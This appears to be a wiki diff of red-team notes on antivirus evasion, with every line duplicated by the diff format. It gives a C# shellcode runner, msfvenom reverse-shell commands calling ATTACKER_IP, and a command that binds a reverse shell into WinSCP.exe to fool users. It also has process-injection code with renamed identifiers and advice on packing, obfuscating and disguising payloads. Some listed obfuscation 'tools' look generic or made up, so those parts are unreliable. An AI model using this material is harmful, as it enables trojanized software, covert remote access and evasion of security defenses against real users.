             IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero);
             IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero);
             // Wait for the thread to complete
             // Wait for the thread to complete
             ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
             ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
             // Free the allocated memory
             // Free the allocated memory
             ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000);
             ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000);
         }
         }
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


[[File:2023-06-image-24.png|thumb]]
[[File:2023-06-image-24.png|thumb]]


----
----


== Packers ==
== Packers ==


Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind:
Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind:


* Compress the program so that it takes up less space.
* Compress the program so that it takes up less space.


* Protect the program from reverse engineering in general.
* Protect the program from reverse engineering in general.


When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application's original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it.
When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application's original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it.


AV solutions, however, could still catch your packed application for a couple of reasons:
AV solutions, however, could still catch your packed application for a couple of reasons:


* While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker's code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone.
* While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker's code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone.


* At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked.
* At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked.


[[File:2023-06-image-1.png|thumb]]
[[File:2023-06-image-1.png|thumb]]


=== Packing our shellcode ===
=== Packing our shellcode ===


This payload takes a shellcode generated by msfvenom and runs it into a separate thread. 
This payload takes a shellcode generated by msfvenom and runs it into a separate thread. 


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,194: Line 2,465:
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
using System.Security.Cryptography.X509Certificates;
public class Program {
public class Program {
   [DllImport("kernel32")]
   [DllImport("kernel32")]
   private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
   private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
   [DllImport("kernel32")]
   [DllImport("kernel32")]
   private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
   private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
   [DllImport("kernel32")]
   [DllImport("kernel32")]
   private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
   private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
   private static UInt32 MEM_COMMIT = 0x1000;
   private static UInt32 MEM_COMMIT = 0x1000;
   private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
   private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
   public static void Main()
   public static void Main()
   {
   {
     byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };
     byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };


     UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
     Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
     IntPtr threadHandle = IntPtr.Zero;
     IntPtr threadHandle = IntPtr.Zero;
     UInt32 threadId = 0;
     UInt32 threadId = 0;
     IntPtr parameter = IntPtr.Zero;
     IntPtr parameter = IntPtr.Zero;
     threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
     threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
     WaitForSingleObject(threadHandle, 0xFFFFFFFF);
     WaitForSingleObject(threadHandle, 0xFFFFFFFF);
   }
   }
}
}
</syntaxhighlight>
</syntaxhighlight>


Generate a shellcode and replace the shellcode in the code.
Generate a shellcode and replace the shellcode in the code.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
  msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp
  msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp
</syntaxhighlight>
</syntaxhighlight>


Now compile it using <code>csc</code>.
Now compile it using <code>csc</code>.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
csc UnEncStageless.cs
csc UnEncStageless.cs
</syntaxhighlight>
</syntaxhighlight>


=== ConfuserEX2 ===
=== ConfuserEX2 ===


ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of [http://confuser.codeplex.com/ Confuser] project and the [https://github.com/yck1509/ConfuserEx ConfuserEx] project.
ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of [http://confuser.codeplex.com/ Confuser] project and the [https://github.com/yck1509/ConfuserEx ConfuserEx] project.


[https://github.com/mkaring/ConfuserEx/releases Releases · mkaring/ConfuserEx (github.com)]
[https://github.com/mkaring/ConfuserEx/releases Releases · mkaring/ConfuserEx (github.com)]


DISABLE PACKER - Packer in confuserEX is mostly busted.
DISABLE PACKER - Packer in confuserEX is mostly busted.


When enabling rules. Don't go overboard.
When enabling rules. Don't go overboard.


[[File:2023-07-image.png|thumb]]
[[File:2023-07-image.png|thumb]]


== Binders ==
== Binders ==


Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application.
Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application.


[[File:2023-06-image-2.png|thumb]]
[[File:2023-06-image-2.png|thumb]]


One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user.
One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user.


=== Binding with msfvenom ===
=== Binding with msfvenom ===


The method used by msfvenom injects your malicious program by creating an extra thread for it.
The method used by msfvenom injects your malicious program by creating an extra thread for it.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe
msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe
# -x, --template            Specify a custom executable file to use as a template
# -x, --template            Specify a custom executable file to use as a template
# -k, --keep                      Preserve the template behavior and inject the payload as a new thread
# -k, --keep                      Preserve the template behavior and inject the payload as a new thread
</syntaxhighlight>
</syntaxhighlight>


=== Binders and AV ===
=== Binders and AV ===


Binders won't do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did.
Binders won't do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did.


When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn't know what is being executed.
When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn't know what is being executed.


----
----


= Obfuscation =
= Obfuscation =


Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion. 
Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion. 


== Layered obfuscation: a taxonomy of software obfuscation techniques for layered security ==
== Layered obfuscation: a taxonomy of software obfuscation techniques for layered security ==


[https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf s42400-020-00049-3-1][https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf Download]
[https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf s42400-020-00049-3-1][https://blog.aghanim.net/wp-content/uploads/2023/06/s42400-020-00049-3-1.pdf Download]


== Obfuscation Concatenation ==
== Obfuscation Concatenation ==


'''Concatenation''' is a common programming concept that combines two separate objects into one object, such as a string.
'''Concatenation''' is a common programming concept that combines two separate objects into one object, such as a string.


{| class="wikitable"
{| class="wikitable"
Line 3,338: Line 2,571:
| “+”, “append”
| “+”, “append”
|}
|}


Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation.
Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation.


{| class="wikitable"
{| class="wikitable"
Line 3,369: Line 2,600:
| dOwnLoAdsTRing
| dOwnLoAdsTRing
|}
|}


=== Example ===
=== Example ===


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,384: Line 2,613:
     }
     }
}
}


</syntaxhighlight>
</syntaxhighlight>


* Line 3: Defines a public class named <code>ExampleClass</code>.
* Line 3: Defines a public class named <code>ExampleClass</code>.


* Line 4: Defines a public static method named <code>SensitiveFunction()</code> within the <code>ExampleClass</code> class.
* Line 4: Defines a public static method named <code>SensitiveFunction()</code> within the <code>ExampleClass</code> class.


* Line 5: Declares a string variable named <code>secretData</code> and assigns it the value "Sensitive information".
* Line 5: Declares a string variable named <code>secretData</code> and assigns it the value "Sensitive information".


* Line 6: Prints a message to the console, concatenating the string "Secret data: " with the value of <code>secretData</code>.
* Line 6: Prints a message to the console, concatenating the string "Secret data: " with the value of <code>secretData</code>.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,413: Line 2,636:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


* Line 13: Defines a public class named <code>ObfuscatedClass</code>.
* Line 13: Defines a public class named <code>ObfuscatedClass</code>.


* Line 14: Defines a public static method named <code>S()</code> within the <code>ObfuscatedClass</code> class. This is the obfuscated version of the original method.
* Line 14: Defines a public static method named <code>S()</code> within the <code>ObfuscatedClass</code> class. This is the obfuscated version of the original method.


* Line 15: Declares a string variable <code>_0x8b74</code> and assigns it the obfuscated string value "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E". This string represents "Sensitive information" using hexadecimal escape sequences.
* Line 15: Declares a string variable <code>_0x8b74</code> and assigns it the obfuscated string value "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E". This string represents "Sensitive information" using hexadecimal escape sequences.


* Line 16: Declares a string variable <code>_0xf868</code> and assigns it the value of <code>_0x8b74</code>. This step is unnecessary in this example and does not contribute to the obfuscation.
* Line 16: Declares a string variable <code>_0xf868</code> and assigns it the value of <code>_0x8b74</code>. This step is unnecessary in this example and does not contribute to the obfuscation.


* Line 17: Declares a string variable <code>_0xef50</code> and assigns it the concatenation of the string "Secret data: " and the value of <code>_0xf868</code>. This recreates the original message.
* Line 17: Declares a string variable <code>_0xef50</code> and assigns it the concatenation of the string "Secret data: " and the value of <code>_0xf868</code>. This recreates the original message.


* Line 18: Prints the value of <code>_0xef50</code> to the console using <code>Console.WriteLine()</code>.
* Line 18: Prints the value of <code>_0xef50</code> to the console using <code>Console.WriteLine()</code>.


In the obfuscated code, the original variable name <code>secretData</code> and class name <code>ExampleClass</code> have been replaced with obfuscated names prefixed with <code>_0x</code>. The sensitive string "Sensitive information" has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console.
In the obfuscated code, the original variable name <code>secretData</code> and class name <code>ExampleClass</code> have been replaced with obfuscated names prefixed with <code>_0x</code>. The sensitive string "Sensitive information" has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console.


== Obfuscation table ==
== Obfuscation table ==


{| class="wikitable"
{| class="wikitable"
Line 3,470: Line 2,683:
| Control flows deliberately added to a program but will never be executed
| Control flows deliberately added to a program but will never be executed
|}
|}


Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following.
Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following.


== Obfuscation's Function for Static Evasion ==
== Obfuscation's Function for Static Evasion ==


=== Common obfuscation techniques for static evasion ===
=== Common obfuscation techniques for static evasion ===


* '''Renaming Variables and Functions''':
* '''Renaming Variables and Functions''':
Change variable and function names to random, meaningless names.
Change variable and function names to random, meaningless names.


* Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand.
* Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand.


* Convert names to Unicode or other character encodings.
* Convert names to Unicode or other character encodings.


* '''String Encryption''':
* '''String Encryption''':
Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime.
Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime.


* Use custom encryption algorithms or known encryption algorithms with custom keys.
* Use custom encryption algorithms or known encryption algorithms with custom keys.


* Split strings into multiple parts and reassemble them dynamically.
* Split strings into multiple parts and reassemble them dynamically.


* '''Code Splitting and Joining''':
* '''Code Splitting and Joining''':
Split critical parts of the code into multiple sections or files.
Split critical parts of the code into multiple sections or files.


* Use techniques like dynamic loading or runtime code generation to join and execute the code sections.
* Use techniques like dynamic loading or runtime code generation to join and execute the code sections.


* '''Dead Code Injection''':
* '''Dead Code Injection''':
Inject unused or unreachable code to confuse static analysis tools.
Inject unused or unreachable code to confuse static analysis tools.


* Insert random or irrelevant statements and functions that have no effect on the program's logic.
* Insert random or irrelevant statements and functions that have no effect on the program's logic.


* '''Control Flow Obfuscation''':
* '''Control Flow Obfuscation''':
Modify the control flow of the code to make it harder to follow.
Modify the control flow of the code to make it harder to follow.


* Use techniques like code flattening, code reordering, and spaghetti code.
* Use techniques like code flattening, code reordering, and spaghetti code.


* Insert unnecessary loops, conditionals, and jumps.
* Insert unnecessary loops, conditionals, and jumps.


* '''Code Transformation''':
* '''Code Transformation''':
Use code transformations to modify the structure and behavior of the code.
Use code transformations to modify the structure and behavior of the code.


* Apply operations like code splitting, code merging, function inlining, and loop unrolling.
* Apply operations like code splitting, code merging, function inlining, and loop unrolling.


* Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements).
* Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements).


* '''Anti-Debugging Techniques''':
* '''Anti-Debugging Techniques''':
Implement checks to detect and evade debugging environments.
Implement checks to detect and evade debugging environments.


* Use API calls to detect debugger presence, such as <code>IsDebuggerPresent()</code> or <code>CheckRemoteDebuggerPresent()</code>.
* Use API calls to detect debugger presence, such as <code>IsDebuggerPresent()</code> or <code>CheckRemoteDebuggerPresent()</code>.


* Insert conditional code that changes behavior when a debugger is detected.
* Insert conditional code that changes behavior when a debugger is detected.


* '''Obfuscated Constant Values''':
* '''Obfuscated Constant Values''':
Replace constant values with calculations or complex expressions.
Replace constant values with calculations or complex expressions.


* Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically.
* Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically.


* '''Code Compression''':
* '''Code Compression''':
Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime.
Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime.


* Encrypt the compressed code to prevent easy analysis and extraction.
* Encrypt the compressed code to prevent easy analysis and extraction.


* '''Metadata Manipulation''':
* '''Metadata Manipulation''':
Modify or remove metadata from the executable file, such as version information or symbol tables.
Modify or remove metadata from the executable file, such as version information or symbol tables.


* Change timestamps or other file properties to make analysis more difficult.
* Change timestamps or other file properties to make analysis more difficult.


=== Tools and examples for each technique ===
=== Tools and examples for each technique ===


* '''Renaming Variables and Functions''':
* '''Renaming Variables and Functions''':
Tool: <code>obfuscator</code>
Tool: <code>obfuscator</code>


* Command: <code>obfuscator --rename file.c</code>
* Command: <code>obfuscator --rename file.c</code>


* '''String Encryption''':
* '''String Encryption''':
Tool: <code>string_encryption_tool</code>
Tool: <code>string_encryption_tool</code>


* Command: <code>string_encryption_tool --input file.c --output obfuscated_file.c</code>
* Command: <code>string_encryption_tool --input file.c --output obfuscated_file.c</code>


* '''Code Splitting and Joining''':
* '''Code Splitting and Joining''':
Tool: <code>code_splitter</code>
Tool: <code>code_splitter</code>


* Command: <code>code_splitter --split file.c</code>
* Command: <code>code_splitter --split file.c</code>


* Command: <code>code_splitter --join obfuscated_parts/* --output obfuscated_file.c</code>
* Command: <code>code_splitter --join obfuscated_parts/* --output obfuscated_file.c</code>


* '''Dead Code Injection''':
* '''Dead Code Injection''':
Tool: <code>dead_code_injector</code>
Tool: <code>dead_code_injector</code>


* Command: <code>dead_code_injector --inject file.c --output obfuscated_file.c</code>
* Command: <code>dead_code_injector --inject file.c --output obfuscated_file.c</code>


* '''Control Flow Obfuscation''':
* '''Control Flow Obfuscation''':
Tool: <code>control_flow_obfuscator</code>
Tool: <code>control_flow_obfuscator</code>


* Command: <code>control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c</code>
* Command: <code>control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c</code>


* '''Code Transformation''':
* '''Code Transformation''':
Tool: <code>code_transformer</code>
Tool: <code>code_transformer</code>


* Command: <code>code_transformer --transform file.c --output obfuscated_file.c</code>
* Command: <code>code_transformer --transform file.c --output obfuscated_file.c</code>


* '''Anti-Debugging Techniques''':
* '''Anti-Debugging Techniques''':
Tool: <code>anti_debugger_tool</code>
Tool: <code>anti_debugger_tool</code>


* Command: <code>anti_debugger_tool --apply file.c --output obfuscated_file.c</code>
* Command: <code>anti_debugger_tool --apply file.c --output obfuscated_file.c</code>


* '''Obfuscated Constant Values''':
* '''Obfuscated Constant Values''':
Tool: <code>constant_obfuscator</code>
Tool: <code>constant_obfuscator</code>


* Command: <code>constant_obfuscator --obfuscate file.c --output obfuscated_file.c</code>
* Command: <code>constant_obfuscator --obfuscate file.c --output obfuscated_file.c</code>


* '''Code Compression''':
* '''Code Compression''':
Tool: <code>code_compressor</code>
Tool: <code>code_compressor</code>


* Command: <code>code_compressor --compress file.c --output obfuscated_file.c</code>
* Command: <code>code_compressor --compress file.c --output obfuscated_file.c</code>


* '''Metadata Manipulation''':
* '''Metadata Manipulation''':
Tool: <code>metadata_manipulator</code>
Tool: <code>metadata_manipulator</code>


* Command: <code>metadata_manipulator --modify file.c --output obfuscated_file.c</code>
* Command: <code>metadata_manipulator --modify file.c --output obfuscated_file.c</code>


== Protecting and Stripping Identifiable Information ==
== Protecting and Stripping Identifiable Information ==


=== Object names ===
=== Object names ===


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
// Original
// Original
#include "windows.h"
#include "windows.h"
#include
#include
#include
#include
using namespace std;
using namespace std;
int main(int argc, char* argv[])
int main(int argc, char* argv[])
{
{
unsigned char shellcode[] = "";
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE processHandle;
HANDLE remoteThread;
HANDLE remoteThread;
PVOID remoteBuffer;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
cout << "Handle obtained for" << processHandle;
Line 3,695: Line 2,831:
cout << "Closing handle" << processHandle;
cout << "Closing handle" << processHandle;
cout << leaked;
cout << leaked;
return 0;
return 0;
}
}
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
// Remove comments and replace the meaningful identifiers to resolve this problem.
// Remove comments and replace the meaningful identifiers to resolve this problem.
#include "windows.h"
#include "windows.h"
int main(int argc, char* argv[])
int main(int argc, char* argv[])
{
{
unsigned char awoler[] = "";
unsigned char awoler[] = "";
HANDLE awerfu;
HANDLE awerfu;
HANDLE rwfhbf;
HANDLE rwfhbf;
PVOID iauwef;
PVOID iauwef;
awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
Line 3,719: Line 2,849:
rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
CloseHandle(awerfu);
CloseHandle(awerfu);
return 0;
return 0;
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Code Structure ===
=== Code Structure ===


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,736: Line 2,863:
         int a = 10;
         int a = 10;
         int b = 20;
         int b = 20;
         int sum = a + b;
         int sum = a + b;
         Console.WriteLine("Sum: " + sum);
         Console.WriteLine("Sum: " + sum);
     }
     }
}
}
// Obfuscated code with code structure obfuscation
// Obfuscated code with code structure obfuscation
public class ObfuscatedClass
public class ObfuscatedClass
Line 3,749: Line 2,874:
         int _0x4 = 10;
         int _0x4 = 10;
         int _0x8 = 20;
         int _0x8 = 20;
         int _0xc = _0x4 + _0x8;
         int _0xc = _0x4 + _0x8;
         Console.WriteLine(_0xc.ToString().Replace("0", ""));
         Console.WriteLine(_0xc.ToString().Replace("0", ""));
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


In this example, we have an original class <code>OriginalClass</code> with a method <code>OriginalMethod()</code> that performs a simple addition of two integers and prints the sum. The obfuscated class <code>ObfuscatedClass</code> is an altered version of the original class where the code structure has been obfuscated.
In this example, we have an original class <code>OriginalClass</code> with a method <code>OriginalMethod()</code> that performs a simple addition of two integers and prints the sum. The obfuscated class <code>ObfuscatedClass</code> is an altered version of the original class where the code structure has been obfuscated.


=== File & Compilation Properties ===
=== File & Compilation Properties ===


To remove symbols from a compiler like '''Visual Studio''', we need to change the compilation target from <code>Debug</code> to <code>Release</code> or use a lighter-weight compiler like '''mingw.'''
To remove symbols from a compiler like '''Visual Studio''', we need to change the compilation target from <code>Debug</code> to <code>Release</code> or use a lighter-weight compiler like '''mingw.'''


If we need to remove symbols from a pre-compiled image, we can use the command-line utility: <code>'''strip'''</code>.
If we need to remove symbols from a pre-compiled image, we can use the command-line utility: <code>'''strip'''</code>.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
# Check symbols
# Check symbols
nm file.exe
nm file.exe
# Strip file of symbols
# Strip file of symbols
strip --strip-all cmdshell.exe
strip --strip-all cmdshell.exe
</syntaxhighlight>
</syntaxhighlight>


== Obfuscation Methods with examples ==
== Obfuscation Methods with examples ==


=== Renaming identifiers ===
=== Renaming identifiers ===


To make them unreadable.  The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or &#x1F4A9;.
To make them unreadable.  The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or &#x1F4A9;.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,795: Line 2,908:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace RenamingIdentifiersExample
namespace RenamingIdentifiersExample
{
{
Line 3,807: Line 2,919:
             Console.WriteLine(result);
             Console.WriteLine(result);
         }
         }
         static int Add(int x, int y)
         static int Add(int x, int y)
         {
         {
Line 3,815: Line 2,926:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,826: Line 2,935:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace AAAAAAA
namespace AAAAAAA
{
{
Line 3,838: Line 2,946:
             Console.WriteLine(result);
             Console.WriteLine(result);
         }
         }
         static int DDDDDD(int x, int y)
         static int DDDDDD(int x, int y)
         {
         {
Line 3,846: Line 2,953:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Packing compresses ===
=== Packing compresses ===


The entire program to make the code unreadable:  This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish.
The entire program to make the code unreadable:  This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
// To pack your code, you can use a tool like UPX (https://upx.github.io/).
// To pack your code, you can use a tool like UPX (https://upx.github.io/).
// Here's an example command to pack a C# executable:
// Here's an example command to pack a C# executable:
// upx myprogram.exe
// upx myprogram.exe
</syntaxhighlight>
</syntaxhighlight>


=== Control flow obfuscation ===
=== Control flow obfuscation ===


Alters the structure of the code:  This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function.
Alters the structure of the code:  This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,878: Line 2,976:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
namespace ControlFlowObfuscationExample
{
{
Line 3,890: Line 2,987:
             Console.WriteLine(result);
             Console.WriteLine(result);
         }
         }
         static int Add(int x, int y)
         static int Add(int x, int y)
         {
         {
Line 3,902: Line 2,998:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,913: Line 3,007:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
namespace ControlFlowObfuscationExample
{
{
Line 3,925: Line 3,018:
             Console.WriteLine(result);
             Console.WriteLine(result);
         }
         }
         static int Add(int x, int y)
         static int Add(int x, int y)
         {
         {
Line 3,939: Line 3,031:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Instruction pattern transformation ===
=== Instruction pattern transformation ===


Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls.
Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
// This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator).
// This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator).
// Here's an example command to obfuscate a C# program using LLVM Obfuscator:
// Here's an example command to obfuscate a C# program using LLVM Obfuscator:
// obfuscator-llvm myprogram.exe
// obfuscator-llvm myprogram.exe
</syntaxhighlight>
</syntaxhighlight>


=== Dummy code insertion ===
=== Dummy code insertion ===


Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned.
Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 3,970: Line 3,053:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace DummyCodeInsertionExample
namespace DummyCodeInsertionExample
{
{
Line 3,982: Line 3,064:
             Console.WriteLine(result);
